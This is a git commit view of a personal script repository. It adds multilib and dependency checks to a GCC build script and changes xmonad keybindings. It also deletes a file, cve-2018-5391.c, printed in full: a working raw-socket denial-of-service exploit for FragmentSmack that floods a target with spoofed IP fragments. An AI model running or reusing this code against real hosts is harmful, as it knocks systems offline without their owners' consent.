diff options
author | lns <matzeton@googlemail.com> | 2019-06-16 10:35:18 +0200 |
---|---|---|
committer | lns <matzeton@googlemail.com> | 2019-06-16 10:35:18 +0200 |
commit | 2aa5b5ab9d6e7b50dd74429b1da8b6bbfcecf758 (patch) | |
tree | 1692c51b9e560c7b0cb88c8b3a088bc1ec395a2b | |
parent | 4730ee9fac66a286675a8c539fa119d2da2d7c27 (diff) | |
parent | 0c603d8a85f9f9d45aa0b97e7dcce72539b9c45b (diff) |
Merge branch 'master' of https://github.com/lnslbrty/foo-scripts
-rwxr-xr-x | build-gcc.sh | 22 | ||||
-rw-r--r-- | configs/xmonad.hs | 28 | ||||
-rw-r--r-- | cve-2018-5391.c | 131 |
3 files changed, 43 insertions, 138 deletions
diff --git a/build-gcc.sh b/build-gcc.sh index 8369448..2d77d80 100755 --- a/build-gcc.sh +++ b/build-gcc.sh @@ -10,6 +10,16 @@ set -x #or #GCC_VERSION="4.4.2" #BINUTILS_VERSION="2.25" +#or +#GCC_VERSION="4.9.4" +#BINUTILS_VERSION="2.27" + +if [ ! -x /usr/bin/wget -o ! -x /usr/bin/whiptail ]; then + echo "${0}: missing wget/whiptail" + echo "${0}: On Debian: \`sudo apt install wget whiptail\`" + echo "${0}: On ArchLinux: \`sudo pacman -S wget libnewt\`" + exit 1 +fi BIN_DLSITE="https://ftp.gnu.org/gnu/binutils" GCC_DLSITE="https://mirrors-usa.go-parts.com/gcc/releases" @@ -27,6 +37,14 @@ GCC_MENU=$(echo "${GCC_CONTENT}" | sed -n 's/^"gcc-\(.*\)\/"$/\1 gcc-\1/p') GCC_VERSION=$(whiptail --menu 'choose gcc version' 35 55 25 ${GCC_MENU} 3>&1 1>&2 2>&3) echo "gcc: ${GCC_VERSION}" +# enable multilib? +MULTILIB_ENABLE=$(whiptail --clear --menu 'enable multilib? (requires libc-dev:i386 as well as libc-dev:amd64)' 15 35 5 y yes n no 3>&1 1>&2 2>&3) +if [ x"${MULTILIB_ENABLE}" = x'y' ]; then + MULTILIB_ARG="--enable-multilib" +else + MULTILIB_ARG="--disable-multilib" +fi + # build gccgo? GCCGO_ENABLE=$(whiptail --clear --menu 'build gccgo?' 15 35 5 y yes n no 3>&1 1>&2 2>&3) if [ x"${GCCGO_ENABLE}" = x'y' ]; then @@ -132,7 +150,7 @@ cd ${BIN_BUILD} # build binutils ../binutils-${BINUTILS_VERSION}/configure \ ${MULTIARCH} \ - --disable-multilib \ + ${MULTILIB_ARG} \ --prefix=${INSTALLDIR} \ --disable-nls \ ${GCCGO_BIN} \ @@ -153,7 +171,7 @@ cd ../${GCC_BUILD} --enable-__cxa_atexit \ --enable-clocale=gnu \ --enable-languages=c,c++${GCCGO_GCC} \ - --disable-multilib \ + ${MULTILIB_ARG} \ --with-system-zlib \ ${GCCGO_BIN} \ --enable-lto \ diff --git a/configs/xmonad.hs b/configs/xmonad.hs index 7ee196b..d63b94f 100644 --- a/configs/xmonad.hs +++ b/configs/xmonad.hs @@ -44,7 +44,6 @@ fileWS = "2:mail" webWS = "3:web" w1WS = "4:work1" w2WS = "5:work2" -W3WS = "6:work3" myWorkspaces :: [WorkspaceId] myWorkspaces = [ comWS, fileWS, webWS, w1WS, w2WS ] ++ map show [6..9] @@ -172,9 +171,16 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $ , ((modMask .|. shiftMask, xK_l), spawn "xtrlock") - -- Start Firefox - , ((modMask .|. shiftMask, xK_i), - spawn "iceweasel") + -- Start chromium.sh + , ((0 , 0x1008ff18), + spawn "chromium.sh") + + -- Start claws.sh + , ((0 , 0x1008ff19), + spawn "claws.sh") + + , ((0 , 0x1008ff1b), + spawn "chromium duckduckgo.com") -- run demnu , ((modMask .|. shiftMask, xK_d), @@ -200,6 +206,18 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $ , ((modMask .|. shiftMask, xK_k), spawn "amixer -q set Master 10%+") + -- Mute volume multimedia key. + , ((0 , 0x1008ff12), + spawn "amixer -q set Master toggle") + + -- Decrease volumt multimedia key. + , ((0 , 0x1008ff11), + spawn "amixer -q set Master 10%-") + + -- Increase volume multimedia key. + , ((0 , 0x1008ff13), + spawn "amixer -q set Master 10%+") + -------------------------------------------------------------------- -- "Standard" xmonad key bindings -- @@ -354,7 +372,7 @@ myStartupHook :: X () myStartupHook = do safeSpawnProg "seahorse" safeSpawnProg "chromium" - safeSpawnProg "pidgin" + safeSpawnProg "pidgin.sh" safeSpawnProg "claws.sh" setWMName "LG3D" nextWS diff --git a/cve-2018-5391.c b/cve-2018-5391.c deleted file mode 100644 index 0bfa2f4..0000000 --- a/cve-2018-5391.c +++ /dev/null @@ -1,131 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> -#include <unistd.h> -#include <string.h> -#include <time.h> -#include <sys/types.h> -#include <sys/socket.h> -#include <netinet/in.h> -#include <netinet/ip.h> -#include <netinet/ip_icmp.h> -#include <arpa/inet.h> -#include <assert.h> -#include <errno.h> - -#define PKG_BUF 2048 - - -static inline void die_on_error(const char *err_prefix, int ret) -{ - if (ret) { - if (errno) - perror(err_prefix); - abort(); - } -} - -static unsigned short csum(unsigned short *ptr, int nbytes) -{ - long sum; - unsigned short oddbyte; - short answer; - - sum = 0; - - while (nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if (nbytes == 1) { - oddbyte = 0; - *((u_char*) &oddbyte) =* (u_char*) ptr; - sum += oddbyte; - } - - sum = (sum >> 16) + (sum & 0xffff); - sum = sum + (sum >> 16); - answer = (short) ~sum; - - return(answer); -} - -int main(int argc, char **argv) -{ - unsigned char pkg[PKG_BUF]; - struct iphdr *ip = (struct iphdr *) pkg; - struct sockaddr_in dest; - int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); - int r, val = 1; - size_t data_size = 896 - sizeof *ip; - useconds_t send_rate = 1 * 1000; /* 50ms */ - size_t cur_frags, max_frags = 64; - uint16_t id, max_bucket = 32; - - die_on_error("socket", s < 0); - - r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val); - die_on_error("setsockopt", r != 0); - - if (argc != 3) { - printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos")); - return 1; - } - printf("smack: %s -> %s\n", argv[1], argv[2]); - - memset(&dest, 0, sizeof dest); - memset(pkg, 0, sizeof pkg); - - ip->ihl = 5; - ip->version = 4; - ip->tos = 0; - ip->tot_len = data_size - sizeof(struct iphdr); - assert(ip->tot_len <= PKG_BUF); - ip->id = 0; - ip->frag_off = 0; - ip->ttl = 255; - ip->protocol = IPPROTO_IP; - ip->check = 0; - ip->saddr = inet_addr(argv[1]); - ip->daddr = inet_addr(argv[2]); - ip->check = csum((unsigned short *) pkg, sizeof *ip); - - dest.sin_family = AF_INET; - dest.sin_addr.s_addr = inet_addr(argv[2]); - - srandom(time(NULL)); - cur_frags = 0; - while (1) { - if (cur_frags % max_frags == 0) { - ip->frag_off &= 0xFF1F; - id = ip->id; - for (uint16_t i = 0; i < max_bucket; ++i) { - ip->id = htons(id + i); - r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest); - die_on_error("sendto", r != ip->tot_len); - } - ip->id = id; - - ip->id = (uint16_t) random(); - ip->frag_off = 0x0020; - printf("ip->id = %u\n", ip->id); - } - - //ip->saddr = (uint32_t) random(); - id = ip->id; - for (uint16_t i = 0; i < max_bucket; ++i) { - ip->id = htons(id + i); - r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest); - die_on_error("sendto", r != ip->tot_len); - } - ip->id = id; - - usleep(send_rate); - printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags, - ip->id, ntohs(ip->frag_off)); - ip->frag_off += htons(8); - cur_frags++; - } - - return 0; -} |